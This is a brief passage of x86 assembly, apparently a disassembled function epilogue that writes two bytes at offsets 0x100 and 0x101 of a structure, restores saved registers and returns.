mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret